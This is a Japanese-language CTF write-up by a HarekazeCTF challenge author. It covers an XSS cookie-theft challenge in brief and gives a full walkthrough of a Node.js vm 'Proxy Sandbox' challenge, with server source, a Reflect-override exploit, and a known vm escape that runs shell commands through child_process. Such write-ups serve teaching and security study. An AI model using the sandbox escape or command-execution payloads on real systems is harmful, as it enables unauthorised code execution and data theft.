HarekazeCTF{I_th1nk_w4sm_1s_e4s1er_t0_re4d_th4n_4smjs}
Pwn + Web 問です。WebAssembly での Pwn の過去問として CODE BLUE CTF 2018 Quals の Secret Mailer Service 2.0 や HackTM CTF Finals 2020 の Widmanstätten が挙げられますが、それらの問題ほど難しくない簡単なものも作ってみたいという気持ちがあり、このような単純な範囲外アクセスを使う問題を作りました。
location.search
などに Cookie を盗み出す JavaScript コードを仕込んで、それを実行する stager のようなペイロードを作ることで文字数を抑えるという流れを想定していました。Brainf*ck のコードゴルフを強いる意図で実行できる文字数を 1000 文字以内に制限したというわけではありません。
が、XSS bot のログを見るとほとんどのチームがコードゴルフによって stager なしに解いており、それなら中途半端な文字数の制限は設けるべきでなかったなあと思っています。アンケートでもこの問題について「解くのが面倒なだけ」「コードゴルフはしたくなかった」といったご意見をいただいていて、もう少し工夫すべきでした。
私は秘密を守るのに Proxy が便利だと思っています。
(URL)
I think Proxy can be used for protecting secrets.
(URL)
想定難易度: medium-hard
添付ファイル: proxy-sandbox.zip
与えられたソースコードを見てみましょう。
const fastify = require('fastify');
const fs = require('fs');
const path = require('path');
const pug = require('pug');
const vm = require('vm');
const app = fastify({ logger: true });
app.register(require('point-of-view'), {
engine: { pug },
root: path.join(__dirname, 'view')
});
app.register(require('fastify-static'), {
root: path.join(__dirname, 'static'),
prefix: '/static/',
});
const FLAG = 'HarekazeCTF{<censored>}';
const template = `
// no prototype pollution!
Object.freeze(Object.prototype);
Object.freeze(Object);
// no hoisting!
const Proxy = globalThis.Proxy;
const obj = new Proxy({
flag: '${FLAG}'
}, {
get(target, prop) {
if (prop === 'flag' || !(prop in target)) {
return undefined;
}
return target[prop];
},
getOwnPropertyDescriptor(target, prop) {
if (prop === 'flag' || !target.hasOwnProperty(prop)) {
return undefined;
}
return Reflect.getOwnPropertyDescriptor(...arguments);
}
});
CODE
`;
app.get('/', async (request, reply) => {
let output = '';
const code = request.query.code + '';
if (code && code.length < 150) {
try {
const result = vm.runInNewContext(template.replace('CODE', code), {}, { timeout: 500 });
output = result + '';
} catch (e) {
output = 'nope';
}
} else {
output = 'nope';
}
return reply.view('index.pug', {
title: 'Proxy Sandbox', output
});
});
app.get('/source', async (request, reply) => {
const code = fs.readFileSync(__filename).toString();
reply.type('application/javascript').code(200);
reply.send(code.replace(/HarekazeCTF\{.+\}/, 'HarekazeCTF{<censored>}'));
});
const start = async () => {
try {
await app.listen(3000, '0.0.0.0');
app.log.info(`server listening on ${app.server.address().port}`);
} catch (err) {
app.log.error(err);
process.exit(1);
}
};
start();
150 文字以内であれば vm.runInNewContext
中で好きな JavaScript コードを実行してくれる Web アプリケーションのようです。
obj
という Proxy
オブジェクトの flag
プロパティを読み出せばよいようです。ただし、get
メソッドと getOwnPropertyDescriptor
メソッドの定義を見ればわかるように、prop === 'flag'
というチェックによって flag
プロパティへのアクセスは制限されています。
変数の巻き上げ (function Proxy(arg) { … }
を入力すると、obj
の定義より後方に関数の定義があっても、もとの Proxy
でなくその関数が使われるやつ) によって Proxy
を置き換え、obj
の定義時の処理を乗っ取ってもとの { flag: '${FLAG}' }
というオブジェクトを取得したくなりますが、これは const Proxy = globalThis.Proxy;
によって制限されています。
getOwnPropertyDescriptor
メソッドでは !target.hasOwnProperty(prop)
と Object.prototype.hasOwnProperty
が使われているのでこれを置き換えてもとのオブジェクトである target
を取得したくなりますが、こちらも Object.freeze
によって制限されています。
他に置き換え可能な関数を探していると、getOwnPropertyDescriptor
メソッドで使われている Reflect.getOwnPropertyDescriptor
はなにも置き換えの対策がされていないことがわかります。試してみましょう。
Reflect.getOwnPropertyDescriptor = (target) => {
console.log('[*]', target);
};
const obj = new Proxy({
flag: 'flag{DUMMY}'
}, {
getOwnPropertyDescriptor(target, prop) {
if (prop === 'flag' || !target.hasOwnProperty(prop)) {
return undefined;
}
return Reflect.getOwnPropertyDescriptor(...arguments);
}
});
obj.a = 123;
Object.getOwnPropertyDescriptor(obj, 'a');
これを実行します。
$ node test.js
[*] { flag: 'flag{DUMMY}', a: 123 }
これは使えそうです。ペイロードを組み立てましょう。
a = 'getOwnPropertyDescriptor';
Reflect[a] = value => {
return { configurable: true, value };
};
obj.b = 123;
Object[a](obj, 'b').value.flag;
これを実行すると、以下のようにフラグが得られました。
HarekazeCTF{y0u_4re_4ppr0xim4tely_pr0_0f_pr0xy}
実は (有名な vm
からのエスケープ手段であるところの) this.constructor.constructor('return process')()
を利用すると process
にアクセスすることができます。
これを使えば、this.constructor.constructor('return process')().mainModule.require('child_process').execSync('cat index.js | grep HarekazeCTF')
でフラグが得られます。
機会があれば Proxy
で遊ぶ問題を作りたいな~と思っていたので作りました。
非想定解について、事前のチーム内での問題チェック時に上記の方法で process
にアクセスし、(その時は環境変数からフラグを読み込んでいたために) process.env
からフラグが得られるとの指摘をいただいていました。しかしながら、何を思ったかフラグをソースコード中にハードコードして process.env
からは得られないようにしただけで、それ以外は全く変更を加えないまま出題してしまいました。反省しています。